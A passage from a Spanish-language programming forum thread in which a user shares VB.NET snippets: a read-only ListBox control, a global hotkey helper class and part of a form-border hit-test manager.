  516.    End Sub
  517.  
  518.    ''' <summary>
  519.    ''' Moves an item to other position.
  520.    ''' </summary>
  521.    ''' <param name="ItemPosition">Indicates the position to move from.</param>
  522.    ''' <param name="NewItemPosition">Indicates the new position for the item.</param>
  523.    Public Sub MoveItem(ByVal ItemPosition As Integer, ByVal NewItemPosition As Integer)
  524.  
  525.        Dim oldItem As Object = Me.Items.Item(ItemPosition)
  526.        Dim newItem As Object = Me.Items.Item(NewItemPosition)
  527.  
  528.        Me.Items.Item(ItemPosition) = newItem
  529.        Me.Items.Item(NewItemPosition) = oldItem
  530.  
  531.    End Sub
  532.  
  533. #End Region
  534.  
  535. #Region " Private Methods "
  536.  
  537.    ''' <summary>
  538.    ''' Invalidates the Control to update changes at Design-Time.
  539.    ''' </summary>
  540.    ''' <param name="InvalidateChildren">Indicates whether to invalidate the child controls of the control.</param>
  541.    Private Sub DesignTimeInvalidator(InvalidateChildren As Boolean)
  542.  
  543.        If Me.DesignMode Then
  544.            Me.Invalidate(InvalidateChildren)
  545.        End If
  546.  
  547.    End Sub
  548.  
  549. #End Region
  550.  
  551. #Region " Event Handlers "
  552.  
  553.    ''' <summary>
  554.    ''' This happens when the ListBox 'ReadOnly' state has changed.
  555.    ''' </summary>
  556.    Private Sub OnReadOnly() _
  557.    Handles Me.ReadOnlyChanged
  558.  
  559.        Me.BeginUpdate()
  560.  
  561.        If Me.ReadOnly Then
  562.            Me.Cursor = _ReadOnly_Enabled_Cursor
  563.        Else
  564.            Me.Cursor = _ReadOnly_Disabled_Cursor
  565.        End If
  566.  
  567.        Me.EndUpdate()
  568.  
  569.    End Sub
  570.  
  571.    ''' <summary>
  572.    ''' Colorize the ListBox Items.
  573.    ''' </summary>
  574.    Private Sub Colorize(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
  575.    Handles Me.DrawItem
  576.  
  577.        If Me.Items.Count <> 0 Then
  578.  
  579.            If Me.Enabled AndAlso Not Me.ReadOnly Then
  580.  
  581.                e.DrawBackground()
  582.  
  583.                If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
  584.                    e.Graphics.FillRectangle(_State_Enabled_ItemSelected_BackColor, e.Bounds)
  585.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Enabled_ItemSelected_ForeColor, e.Bounds)
  586.  
  587.                ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
  588.                    e.Graphics.FillRectangle(_State_Enabled_ItemUnselected_BackColor, e.Bounds)
  589.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Enabled_ItemUnselected_ForeColor, e.Bounds)
  590.  
  591.                End If
  592.  
  593.                e.DrawFocusRectangle()
  594.  
  595.            ElseIf Not Me.Enabled Then
  596.  
  597.                e.DrawBackground()
  598.  
  599.                If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
  600.                    e.Graphics.FillRectangle(_State_Disabled_ItemSelected_BackColor, e.Bounds)
  601.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Disabled_ItemSelected_ForeColor, e.Bounds)
  602.  
  603.                ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
  604.                    e.Graphics.FillRectangle(_State_Disabled_ItemUnselected_BackColor, e.Bounds)
  605.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Disabled_ItemUnselected_ForeColor, e.Bounds)
  606.  
  607.                End If
  608.  
  609.                e.DrawFocusRectangle()
  610.  
  611.            ElseIf Me.ReadOnly Then
  612.  
  613.                e.DrawBackground()
  614.  
  615.                If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
  616.                    e.Graphics.FillRectangle(_State_ReadOnly_ItemSelected_BackColor, e.Bounds)
  617.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_ReadOnly_ItemSelected_ForeColor, e.Bounds)
  618.  
  619.                ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
  620.                    e.Graphics.FillRectangle(_State_ReadOnly_ItemUnselected_BackColor, e.Bounds)
  621.                    e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_ReadOnly_ItemUnselected_ForeColor, e.Bounds)
  622.  
  623.                End If
  624.  
  625.                e.DrawFocusRectangle()
  626.  
  627.            End If
  628.  
  629.        End If
  630.  
  631.    End Sub
  632.  
  633. #End Region
  634.  
  635. #Region " Windows Messages "
  636.  
  637.    ''' <summary>
  638.    ''' Processes the Windows Messages for this window.
  639.    ''' </summary>
  640.    Protected Overrides Sub WndProc(ByRef m As Message)
  641.  
  642.        If Me.[ReadOnly] AndAlso (m.Msg = KnownMessages.WM_LBUTTONDOWN OrElse m.Msg = KnownMessages.WM_KEYDOWN) Then
  643.            Return ' Disable left click on the ListBox.
  644.        End If
  645.  
  646.        MyBase.WndProc(m)
  647.  
  648.    End Sub
  649.  
  650. #End Region
  651.  
  652. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Enero 2014, 13:32 pm
Una nueva versión actualizada de mi Helper Class para manejar hotkeys globales.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Created  : 01-09-2014
  4. ' Modified : 01-11-2014
  5. ' ***********************************************************************
  6. ' <copyright file="GlobalHotkeys.vb" company="Elektro Studios">
  7. '     Copyright (c) Elektro Studios. All rights reserved.
  8. ' </copyright>
  9. ' ***********************************************************************
  10.  
  11. #Region " Usage Examples "
  12.  
  13. 'Public Class Form1
  14.  
  15. '    ''' <summary>
  16. '    ''' Define the system-wide hotkey object.
  17. '    ''' </summary>
  18. '    Private WithEvents Hotkey As GlobalHotkey = Nothing
  19.  
  20. '    ''' <summary>
  21. '    ''' Initializes a new instance of this class.
  22. '    ''' </summary>
  23. '    Public Sub New()
  24.  
  25. '        InitializeComponent()
  26.  
  27. '        ' Registers a new global hotkey on the system. (Alt + Ctrl + A)
  28. '        Hotkey = New GlobalHotkey(GlobalHotkey.KeyModifier.Alt Or GlobalHotkey.KeyModifier.Ctrl, Keys.A)
  29.  
  30. '        ' Replaces the current registered hotkey with a new one. (Alt + Escape)
  31. '        Hotkey = New GlobalHotkey([Enum].Parse(GetType(GlobalHotkey.KeyModifier), "Alt", True),
  32. '                                  [Enum].Parse(GetType(Keys), "Escape", True))
  33.  
  34. '        ' Set the tag property.
  35. '        Hotkey.Tag = "I'm an example tag"
  36.  
  37. '    End Sub
  38.  
  39. '    ''' <summary>
  40. '    ''' Handles the Press event of the HotKey object.
  41. '    ''' </summary>
  42. '    Private Sub HotKey_Press(ByVal sender As GlobalHotkey, ByVal e As GlobalHotkey.HotKeyEventArgs) _
  43. '    Handles Hotkey.Press
  44.  
  45. '        MsgBox(e.Count) ' The times that the hotkey was pressed.
  46. '        MsgBox(e.ID) ' The unique hotkey identifier.
  47. '        MsgBox(e.Key.ToString) ' The assigned key.
  48. '        MsgBox(e.Modifier.ToString) ' The assigned key-modifier.
  49.  
  50. '        MsgBox(sender.Tag) ' The hotkey tag object.
  51.  
  52. '        ' Unregister the hotkey.
  53. '        Hotkey.Unregister()
  54.  
  55. '        ' Register it again.
  56. '        Hotkey.Register()
  57.  
  58. '        ' Is Registered?
  59. '        MsgBox(Hotkey.IsRegistered)
  60.  
  61. '    End Sub
  62.  
  63. 'End Class
  64.  
  65. #End Region
  66.  
  67. #Region " Imports "
  68.  
  69. Imports System.ComponentModel
  70. Imports System.Runtime.InteropServices
  71.  
  72. #End Region
  73.  
  74. #Region " Global Hotkey "
  75.  
  76. ''' <summary>
  77. ''' Class to perform system-wide hotkey operations.
  78. ''' </summary>
  79. Friend NotInheritable Class GlobalHotkey : Inherits NativeWindow : Implements IDisposable
  80.  
  81. #Region " API "
  82.  
  83.    ''' <summary>
  84.    ''' Native API Methods.
  85.    ''' </summary>
  86.    Private Class NativeMethods
  87.  
  88.        ''' <summary>
  89.        ''' Defines a system-wide hotkey.
  90.        ''' </summary>
  91.        ''' <param name="hWnd">The hWND.</param>
  92.        ''' <param name="id">The identifier of the hotkey.
  93.        ''' If the hWnd parameter is NULL, then the hotkey is associated with the current thread rather than with a particular window.
  94.        ''' If a hotkey already exists with the same hWnd and id parameters.</param>
  95.        ''' <param name="fsModifiers">The keys that must be pressed in combination with the key specified by the uVirtKey parameter
  96.        ''' in order to generate the WM_HOTKEY message.
  97.        ''' The fsModifiers parameter can be a combination of the following values.</param>
  98.        ''' <param name="vk">The virtual-key code of the hotkey.</param>
  99.        ''' <returns>
  100.        ''' <c>true</c> if the function succeeds, otherwise <c>false</c>
  101.        ''' </returns>
  102.        <DllImport("user32.dll", SetLastError:=True)>
  103.        Public Shared Function RegisterHotKey(
  104.                      ByVal hWnd As IntPtr,
  105.                      ByVal id As Integer,
  106.                      ByVal fsModifiers As UInteger,
  107.                      ByVal vk As UInteger
  108.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  109.        End Function
  110.  
  111.        ''' <summary>
  112.        ''' Unregisters a hotkey previously registered.
  113.        ''' </summary>
  114.        ''' <param name="hWnd">The hWND.</param>
  115.        ''' <param name="id">The identifier of the hotkey to be unregistered.</param>
  116.        ''' <returns>
  117.        ''' <c>true</c> if the function succeeds, otherwise <c>false</c>
  118.        ''' </returns>
  119.        <DllImport("user32.dll", SetLastError:=True)>
  120.        Public Shared Function UnregisterHotKey(
  121.                      ByVal hWnd As IntPtr,
  122.                      ByVal id As Integer
  123.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  124.        End Function
  125.  
  126.    End Class
  127.  
  128. #End Region
  129.  
  130. #Region " Members "
  131.  
  132. #Region " Properties "
  133.  
  134.    ''' <summary>
  135.    ''' Indicates the key assigned to the hotkey.
  136.    ''' </summary>
  137.    Public ReadOnly Property Key As Keys
  138.        Get
  139.            Return Me.PressEventArgs.Key
  140.        End Get
  141.    End Property
  142.  
  143.    ''' <summary>
  144.    ''' Indicates the Key-Modifier assigned to the hotkey.
  145.    ''' </summary>
  146.    Public ReadOnly Property Modifier As KeyModifier
  147.        Get
  148.            Return Me.PressEventArgs.Modifier
  149.        End Get
  150.    End Property
  151.  
  152.    ''' <summary>
  153.    ''' Indicates the unique identifier assigned to the hotkey.
  154.    ''' </summary>
  155.    Public ReadOnly Property ID As Integer
  156.        Get
  157.            Return Me.PressEventArgs.ID
  158.        End Get
  159.    End Property
  160.  
  161.    ''' <summary>
  162.    ''' Indicates user-defined data associated with this object.
  163.    ''' </summary>
  164.    Public Property Tag As Object = Nothing
  165.  
  166.    ''' <summary>
  167.    ''' Indicates how many times was pressed the hotkey.
  168.    ''' </summary>
  169.    Public ReadOnly Property Count As Integer
  170.        Get
  171.            Return _Count
  172.        End Get
  173.    End Property
  174.  
  175. #End Region
  176.  
  177. #Region " Enumerations "
  178.  
  179.    ''' <summary>
  180.    ''' Key-modifiers to assign to a hotkey.
  181.    ''' </summary>
  182.    <Flags>
  183.    Public Enum KeyModifier As Integer
  184.  
  185.        ''' <summary>
  186.        ''' Any modifier.
  187.        ''' </summary>
  188.        None = &H0
  189.  
  190.        ''' <summary>
  191.        ''' The Alt key.
  192.        ''' </summary>
  193.        Alt = &H1
  194.  
  195.        ''' <summary>
  196.        ''' The Control key.
  197.        ''' </summary>
  198.        Ctrl = &H2
  199.  
  200.        ''' <summary>
  201.        ''' The Shift key.
  202.        ''' </summary>
  203.        Shift = &H4
  204.  
  205.        ''' <summary>
  206.        ''' The Windows key.
  207.        ''' </summary>
  208.        Win = &H8
  209.  
  210.    End Enum
  211.  
  212.    ''' <summary>
  213.    ''' Known Windows Message Identifiers.
  214.    ''' </summary>
  215.    <Description("Messages to process in WndProc")>
  216.    Public Enum KnownMessages As Integer
  217.  
  218.        ''' <summary>
  219.        ''' Posted when the user presses a hot key registered by the RegisterHotKey function.
  220.        ''' The message is placed at the top of the message queue associated with the thread that registered the hot key.
  221.        ''' <paramref name="WParam"/>
  222.        ''' The identifier of the hot key that generated the message.
  223.        ''' If the message was generated by a system-defined hot key.
  224.        ''' <paramref name="LParam"/>
  225.        ''' The low-order word specifies the keys that were to be pressed in
  226.        ''' combination with the key specified by the high-order word to generate the WM_HOTKEY message.
  227.        ''' </summary>
  228.        WM_HOTKEY = &H312
  229.  
  230.    End Enum
  231.  
  232. #End Region
  233.  
  234. #Region " Events "
  235.  
  236.    ''' <summary>
  237.    ''' Event that is raised when a hotkey is pressed.
  238.    ''' </summary>
  239.    Public Event Press As EventHandler(Of HotKeyEventArgs)
  240.  
  241.    ''' <summary>
  242.    ''' Event arguments for the Press event.
  243.    ''' </summary>
  244.    Public Class HotKeyEventArgs : Inherits EventArgs
  245.  
  246.        ''' <summary>
  247.        ''' Indicates the Key assigned to the hotkey.
  248.        ''' </summary>
  249.        ''' <value>The key.</value>
  250.        Friend Property Key As Keys
  251.  
  252.        ''' <summary>
  253.        ''' Indicates the Key-Modifier assigned to the hotkey.
  254.        ''' </summary>
  255.        ''' <value>The modifier.</value>
  256.        Friend Property Modifier As KeyModifier
  257.  
  258.        ''' <summary>
  259.        ''' Indicates the unique identifier assigned to the hotkey.
  260.        ''' </summary>
  261.        ''' <value>The identifier.</value>
  262.        Friend Property ID As Integer
  263.  
  264.        ''' <summary>
  265.        ''' Indicates how many times was pressed the hotkey.
  266.        ''' </summary>
  267.        Friend Property Count As Integer
  268.  
  269.    End Class
  270.  
  271. #End Region
  272.  
  273. #Region " Exceptions "
  274.  
  275.    ''' <summary>
  276.    ''' Exception that is thrown when a hotkey tries to register but is already registered.
  277.    ''' </summary>
  278.    <Serializable>
  279.    Private Class IsRegisteredException : Inherits Exception
  280.  
  281.        ''' <summary>
  282.        ''' Initializes a new instance of the <see cref="IsRegisteredException"/> class.
  283.        ''' </summary>
  284.        Sub New()
  285.            MyBase.New("Unable to register. Hotkey is already registered.")
  286.        End Sub
  287.  
  288.    End Class
  289.  
  290.    ''' <summary>
  291.    ''' Exception that is thrown when a hotkey tries to unregister but is not registered.
  292.    ''' </summary>
  293.    <Serializable>
  294.    Private Class IsNotRegisteredException : Inherits Exception
  295.  
  296.        ''' <summary>
  297.        ''' Initializes a new instance of the <see cref="IsNotRegisteredException"/> class.
  298.        ''' </summary>
  299.        Sub New()
  300.            MyBase.New("Unable to unregister. Hotkey is not registered.")
  301.        End Sub
  302.  
  303.    End Class
  304.  
  305. #End Region
  306.  
  307. #Region " Other "
  308.  
  309.    ''' <summary>
  310.    ''' Stores an counter indicating how many times was pressed the hotkey.
  311.    ''' </summary>
  312.    Private _Count As Integer = 0
  313.  
  314.    ''' <summary>
  315.    ''' Stores the Press Event Arguments.
  316.    ''' </summary>
  317.    Protected PressEventArgs As New HotKeyEventArgs
  318.  
  319. #End Region
  320.  
  321. #End Region
  322.  
  323. #Region " Constructor "
  324.  
  325.    ''' <summary>
  326.    ''' Creates a new system-wide hotkey.
  327.    ''' </summary>
  328.    ''' <param name="Modifier">
  329.    ''' Indicates the key-modifier to assign to the hotkey.
  330.    ''' ( Can use one or more modifiers )
  331.    ''' </param>
  332.    ''' <param name="Key">
  333.    ''' Indicates the key to assign to the hotkey.
  334.    ''' </param>
  335.    ''' <exception cref="IsRegisteredException"></exception>
  336.    <DebuggerStepperBoundary()>
  337.    Public Sub New(ByVal Modifier As KeyModifier, ByVal Key As Keys)
  338.  
  339.        MyBase.CreateHandle(New CreateParams)
  340.  
  341.        Me.PressEventArgs.ID = MyBase.GetHashCode()
  342.        Me.PressEventArgs.Key = Key
  343.        Me.PressEventArgs.Modifier = Modifier
  344.        Me.PressEventArgs.Count = 0
  345.  
  346.        If Not NativeMethods.RegisterHotKey(MyBase.Handle,
  347.                                            Me.ID,
  348.                                            Me.Modifier,
  349.                                            Me.Key) Then
  350.  
  351.            Throw New IsRegisteredException
  352.  
  353.        End If
  354.  
  355.    End Sub
  356.  
  357. #End Region
  358.  
  359. #Region " Event Handlers "
  360.  
  361.    ''' <summary>
  362.    ''' Occurs when a hotkey is pressed.
  363.    ''' </summary>
  364.    Private Sub OnHotkeyPress() Handles Me.Press
  365.        _Count += 1
  366.    End Sub
  367.  
  368. #End Region
  369.  
  370. #Region "Public Methods "
  371.  
  372.    ''' <summary>
  373.    ''' Determines whether this hotkey is registered on the system.
  374.    ''' </summary>
  375.    ''' <returns>
  376.    ''' <c>true</c> if this hotkey is registered; otherwise, <c>false</c>.
  377.    ''' </returns>
  378.    Public Function IsRegistered() As Boolean
  379.  
  380.        DisposedCheck()
  381.  
  382.        ' Try to unregister the hotkey.
  383.        Select Case NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID)
  384.  
  385.            Case False ' Unregistration failed.
  386.                Return False ' Hotkey is not registered.
  387.  
  388.            Case Else ' Unregistration succeeds.
  389.                Register() ' Re-Register the hotkey before return.
  390.                Return True ' Hotkey is registeres.
  391.  
  392.        End Select
  393.  
  394.    End Function
  395.  
  396.    ''' <summary>
  397.    ''' Registers this hotkey on the system.
  398.    ''' </summary>
  399.    ''' <exception cref="IsRegisteredException"></exception>
  400.    Public Sub Register()
  401.  
  402.        DisposedCheck()
  403.  
  404.        If Not NativeMethods.RegisterHotKey(MyBase.Handle,
  405.                                            Me.ID,
  406.                                            Me.Modifier,
  407.                                            Me.Key) Then
  408.  
  409.            Throw New IsRegisteredException
  410.  
  411.        End If
  412.  
  413.    End Sub
  414.  
  415.    ''' <summary>
  416.    ''' Unregisters this hotkey from the system.
  417.    ''' After calling this method the hotkey turns unavaliable.
  418.    ''' </summary>
  419.    ''' <returns>
  420.    ''' <c>true</c> if unregistration succeeds, <c>false</c> otherwise.
  421.    ''' </returns>
  422.    Public Function Unregister() As Boolean
  423.  
  424.        DisposedCheck()
  425.  
  426.        If Not NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID) Then
  427.  
  428.            Throw New IsNotRegisteredException
  429.  
  430.        End If
  431.  
  432.    End Function
  433.  
  434. #End Region
  435.  
  436. #Region " Hidden methods "
  437.  
  438.    ' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
  439.    ' NOTE: The methods can be re-enabled at any-time if needed.
  440.  
  441.    ''' <summary>
  442.    ''' Assigns the handle.
  443.    ''' </summary>
  444.    <EditorBrowsable(EditorBrowsableState.Never)>
  445.    Public Shadows Sub AssignHandle()
  446.    End Sub
  447.  
  448.    ''' <summary>
  449.    ''' Creates the handle.
  450.    ''' </summary>
  451.    <EditorBrowsable(EditorBrowsableState.Never)>
  452.    Public Shadows Sub CreateHandle()
  453.    End Sub
  454.  
  455.    ''' <summary>
  456.    ''' Creates the object reference.
  457.    ''' </summary>
  458.    <EditorBrowsable(EditorBrowsableState.Never)>
  459.    Public Shadows Sub CreateObjRef()
  460.    End Sub
  461.  
  462.    ''' <summary>
  463.    ''' Definitions the WND proc.
  464.    ''' </summary>
  465.    <EditorBrowsable(EditorBrowsableState.Never)>
  466.    Public Shadows Sub DefWndProc()
  467.    End Sub
  468.  
  469.    ''' <summary>
  470.    ''' Destroys the window and its handle.
  471.    ''' </summary>
  472.    <EditorBrowsable(EditorBrowsableState.Never)>
  473.    Public Shadows Sub DestroyHandle()
  474.    End Sub
  475.  
  476.    ''' <summary>
  477.    ''' Equalses this instance.
  478.    ''' </summary>
  479.    <EditorBrowsable(EditorBrowsableState.Never)>
  480.    Public Shadows Sub Equals()
  481.    End Sub
  482.  
  483.    ''' <summary>
  484.    ''' Gets the hash code.
  485.    ''' </summary>
  486.    <EditorBrowsable(EditorBrowsableState.Never)>
  487.    Public Shadows Sub GetHashCode()
  488.    End Sub
  489.  
  490.    ''' <summary>
  491.    ''' Gets the lifetime service.
  492.    ''' </summary>
  493.    <EditorBrowsable(EditorBrowsableState.Never)>
  494.    Public Shadows Sub GetLifetimeService()
  495.    End Sub
  496.  
  497.    ''' <summary>
  498.    ''' Initializes the lifetime service.
  499.    ''' </summary>
  500.    <EditorBrowsable(EditorBrowsableState.Never)>
  501.    Public Shadows Sub InitializeLifetimeService()
  502.    End Sub
  503.  
  504.    ''' <summary>
  505.    ''' Releases the handle associated with this window.
  506.    ''' </summary>
  507.    <EditorBrowsable(EditorBrowsableState.Never)>
  508.    Public Shadows Sub ReleaseHandle()
  509.    End Sub
  510.  
  511.    ''' <summary>
  512.    ''' Gets the handle for this window.
  513.    ''' </summary>
  514.    <EditorBrowsable(EditorBrowsableState.Never)>
  515.    Public Shadows Property Handle()
  516.  
  517. #End Region
  518.  
  519. #Region " WndProc "
  520.  
  521.    ''' <summary>
  522.    ''' Invokes the default window procedure associated with this window to process messages for this Window.
  523.    ''' </summary>
  524.    ''' <param name="m">
  525.    ''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
  526.    ''' </param>
  527.    Protected Overrides Sub WndProc(ByRef m As Message)
  528.  
  529.        Select Case m.Msg
  530.  
  531.            Case KnownMessages.WM_HOTKEY  ' A hotkey is pressed.
  532.  
  533.                ' Update the pressed counter.
  534.                Me.PressEventArgs.Count += 1
  535.  
  536.                ' Raise the Event
  537.                RaiseEvent Press(Me, Me.PressEventArgs)
  538.  
  539.            Case Else
  540.                MyBase.WndProc(m)
  541.  
  542.        End Select
  543.  
  544.    End Sub
  545.  
  546. #End Region
  547.  
  548. #Region " IDisposable "
  549.  
  550.    ''' <summary>
  551.    ''' To detect redundant calls when disposing.
  552.    ''' </summary>
  553.    Private IsDisposed As Boolean = False
  554.  
  555.    ''' <summary>
  556.    ''' Prevent calls to methods after disposing.
  557.    ''' </summary>
  558.    ''' <exception cref="System.ObjectDisposedException"></exception>
  559.    Private Sub DisposedCheck()
  560.  
  561.        If Me.IsDisposed Then
  562.            Throw New ObjectDisposedException(Me.GetType().FullName)
  563.        End If
  564.  
  565.    End Sub
  566.  
  567.    ''' <summary>
  568.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  569.    ''' </summary>
  570.    Public Sub Dispose() Implements IDisposable.Dispose
  571.        Dispose(True)
  572.        GC.SuppressFinalize(Me)
  573.    End Sub
  574.  
  575.    ''' <summary>
  576.    ''' Releases unmanaged and - optionally - managed resources.
  577.    ''' </summary>
  578.    ''' <param name="IsDisposing">
  579.    ''' <c>true</c> to release both managed and unmanaged resources;
  580.    ''' <c>false</c> to release only unmanaged resources.
  581.    ''' </param>
  582.    Protected Sub Dispose(IsDisposing As Boolean)
  583.  
  584.        If Not Me.IsDisposed Then
  585.  
  586.            If IsDisposing Then
  587.                NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID)
  588.            End If
  589.  
  590.        End If
  591.  
  592.        Me.IsDisposed = True
  593.  
  594.    End Sub
  595.  
  596. #End Region
  597.  
  598. End Class
  599.  
  600. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 12 Enero 2014, 09:30 am
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Created  : 01-12-2014
  4. ' Modified : 01-12-2014
  5. ' ***********************************************************************
  6. ' <copyright file="FormBorderManager.vb" company="Elektro Studios">
  7. '     Copyright (c) Elektro Studios. All rights reserved.
  8. ' </copyright>
  9. ' ***********************************************************************
  10.  
  11. #Region " Usage Examples "
  12.  
  13. 'Public Class Form1
  14.  
  15. '    ' Disable resizing on all border edges.
  16. '    Private FormBorders As New FormBorderManager(Me) With
  17. '            {
  18. '                .Edges = New FormBorderManager.FormEdges With
  19. '                         {
  20. '                             .Top = FormBorderManager.WindowHitTestRegions.TitleBar,
  21. '                             .Left = FormBorderManager.WindowHitTestRegions.TitleBar,
  22. '                             .Right = FormBorderManager.WindowHitTestRegions.TitleBar,
  23. '                             .Bottom = FormBorderManager.WindowHitTestRegions.TitleBar,
  24. '                             .TopLeft = FormBorderManager.WindowHitTestRegions.TitleBar,
  25. '                             .TopRight = FormBorderManager.WindowHitTestRegions.TitleBar,
  26. '                             .BottomLeft = FormBorderManager.WindowHitTestRegions.TitleBar,
  27. '                             .BottomRight = FormBorderManager.WindowHitTestRegions.TitleBar
  28. '                         }
  29. '            }
  30.  
  31. '    Private Shadows Sub Load(sender As Object, e As EventArgs) Handles MyBase.Load
  32.  
  33. '        ' Disables the moving on all border edges.
  34. '        FormBorders.SetAllEdgesToNonMoveable()
  35.  
  36. '    End Sub
  37.  
  38. 'End Class
  39.  
  40. #End Region
  41.  
  42. #Region " Imports "
  43.  
  44. Imports System.ComponentModel
  45.  
  46. #End Region
  47.  
  48. #Region " FormBorderManager "
  49.  
  50. ''' <summary>
  51. ''' Class FormBorderManager.
  52. ''' Manages each Form border to indicate their Hit-Region.
  53. ''' </summary>
  54. <Description("Manages each Form border to indicate their Hit-Region")>
  55. Public Class FormBorderManager : Inherits NativeWindow : Implements IDisposable
  56.  
  57. #Region " Members "
  58.  
  59. #Region " Miscellaneous "
  60.  
  61.    ''' <summary>
  62.    ''' The form to manage their borders.
  63.    ''' </summary>
  64.    Private WithEvents form As Form = Nothing
  65.  
  66. #End Region
  67.  
  68. #Region " Properties "
  69.  
  70.    ''' <summary>
  71.    ''' Gets or sets the Hit-Region of the edges.
  72.    ''' </summary>
  73.    ''' <value>The Form edges.</value>
  74.    Public Property Edges As New FormEdges
  75.  
  76.    ''' <summary>
  77.    ''' The Edges of the Form.
  78.    ''' </summary>
  79.    Partial Public NotInheritable Class FormEdges
  80.  
  81.        ''' <summary>
  82.        ''' Gets or sets the Hit-Region of the Top form border.
  83.        ''' </summary>
  84.        Public Property Top As WindowHitTestRegions = WindowHitTestRegions.TopSizeableBorder
  85.  
  86.        ''' <summary>
  87.        ''' Gets or sets the Hit-Region of the Left form border.
  88.        ''' </summary>
  89.        Public Property Left As WindowHitTestRegions = WindowHitTestRegions.LeftSizeableBorder
  90.  
  91.        ''' <summary>
  92.        ''' Gets or sets the Hit-Region of the Right form border.
  93.        ''' </summary>
  94.        Public Property Right As WindowHitTestRegions = WindowHitTestRegions.RightSizeableBorder
  95.  
  96.        ''' <summary>
  97.        ''' Gets or sets the Hit-Region of the Bottom form border.
  98.        ''' </summary>
  99.        Public Property Bottom As WindowHitTestRegions = WindowHitTestRegions.BottomSizeableBorder
  100.  
  101.        ''' <summary>
  102.        ''' Gets or sets the Hit-Region of the Top-Left form border.
  103.        ''' </summary>
  104.        Public Property TopLeft As WindowHitTestRegions = WindowHitTestRegions.TopLeftSizeableCorner
  105.  
  106.        ''' <summary>
  107.        ''' Gets or sets the Hit-Region of the Top-Right form border.
  108.        ''' </summary>
  109.        Public Property TopRight As WindowHitTestRegions = WindowHitTestRegions.TopRightSizeableCorner
  110.  
  111.        ''' <summary>
  112.        ''' Gets or sets the Hit-Region of the Bottom-Left form border.
  113.        ''' </summary>
  114.        Public Property BottomLeft As WindowHitTestRegions = WindowHitTestRegions.BottomLeftSizeableCorner
  115.  
  116.        ''' <summary>
  117.        ''' Gets or sets the Hit-Region of the Bottom-Right form border.
  118.        ''' </summary>
  119.        Public Property BottomRight As WindowHitTestRegions = WindowHitTestRegions.BottomRightSizeableCorner
  120.  
  121.    End Class
  122.  
  123. #End Region
  124.  
  125. #Region " Enumerations "
  126.  
  127.    ''' <summary>
  128.    ''' Known Windows Message Identifiers.
  129.    ''' </summary>
  130.    <Description("Messages to process in WndProc")>
  131.    Private Enum KnownMessages As Integer
  132.  
  133.        ''' <summary>
  134.        ''' Sent to a window in order to determine what part of the window corresponds to a particular screen coordinate.
  135.        ''' This can happen, for example, when the cursor moves, when a mouse button is pressed or released,
  136.        ''' or in response to a call to a function such as WindowFromPoint.
  137.        ''' If the mouse is not captured, the message is sent to the window beneath the cursor.
  138.        ''' Otherwise, the message is sent to the window that has captured the mouse.
  139.        ''' <paramref name="WParam" />
  140.        ''' This parameter is not used.
  141.        ''' <paramref name="LParam" />
  142.        ''' The low-order word specifies the x-coordinate of the cursor.
  143.        ''' The coordinate is relative to the upper-left corner of the screen.
  144.        ''' The high-order word specifies the y-coordinate of the cursor.
  145.        ''' The coordinate is relative to the upper-left corner of the screen.
  146.        ''' </summary>
  147.        WM_NCHITTEST = &H84
  148.  
  149.    End Enum
  150.  
  151.    ''' <summary>
  152.    ''' Indicates the position of the cursor hot spot.
  153.    ''' Options available when a form is tested for mose positions with 'WM_NCHITTEST' message.
  154.    ''' </summary>
  155.    <Description("Return value of the 'WM_NCHITTEST' message")>
  156.    Public Enum WindowHitTestRegions
  157.  
  158.        ''' <summary>
  159.        ''' HTERROR: On the screen background or on a dividing line between windows.
  160.        ''' (same as HTNOWHERE, except that the DefWindowProc function produces a system beep to indicate an error).
  161.        ''' </summary>
  162.        [Error] = -2
  163.  
  164.        ''' <summary>
  165.        ''' HTTRANSPARENT: In a window currently covered by another window in the same thread.
  166.        ''' (the message will be sent to underlying windows in the same thread
  167.        ''' until one of them returns a code that is not HTTRANSPARENT).
  168.        ''' </summary>
  169.        TransparentOrCovered = -1
  170.  
  171.        ''' <summary>
  172.        ''' HTNOWHERE: On the screen background or on a dividing line between windows.
  173.        ''' </summary>
  174.        NoWhere = 0
  175.  
  176.        ''' <summary>
  177.        ''' HTCLIENT: In a client area.
  178.        ''' </summary>
  179.        ClientArea = 1
  180.  
  181.        ''' <summary>
  182.        ''' HTCAPTION: In a title bar.
  183.        ''' </summary>
  184.        TitleBar = 2
  185.  
  186.        ''' <summary>
  187.        ''' HTSYSMENU: In a window menu or in a Close button in a child window.
  188.        ''' </summary>
  189.        SystemMenu = 3
  190.  
  191.        ''' <summary>
  192.        ''' HTGROWBOX: In a size box (same as HTSIZE).
  193.        ''' </summary>
  194.        GrowBox = 4
  195.  
  196.        ''' <summary>
  197.        ''' HTMENU: In a menu.
  198.        ''' </summary>
  199.        Menu = 5
  200.  
  201.        ''' <summary>
  202.        ''' HTHSCROLL: In a horizontal scroll bar.
  203.        ''' </summary>
